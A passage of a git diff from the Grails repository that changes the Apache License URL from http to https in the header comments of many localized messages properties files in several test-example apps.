 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_da.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_de.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_es.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_fr.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_it.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_ja.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_nb.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_nl.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_pl.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_ru.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_sk.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_sk.properties
index 3baafcda8c..609b7e12c5 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_sk.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_sk.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_sv.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_th.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/issue-views-182/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/issue-views-182/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/issue-views-182/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/issue-views-182/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages.properties b/grails-test-examples/micronaut/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_cs.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_cs.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_cs.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_cs.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_da.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_de.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_es.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_fr.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_it.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_ja.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_nb.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_nl.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_pl.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_ru.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_sk.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_sk.properties
index 3baafcda8c..609b7e12c5 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_sk.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_sk.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_sv.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_th.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/micronaut/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/micronaut/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/micronaut/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/micronaut/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages.properties
index 09d392c881..d71a1fc5cb 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_da.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_de.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_es.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_fr.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_it.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_ja.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_nb.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_nl.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_pl.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/mongodb/base/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/mongodb/base/grails-app/i18n/messages_pt_BR.properties
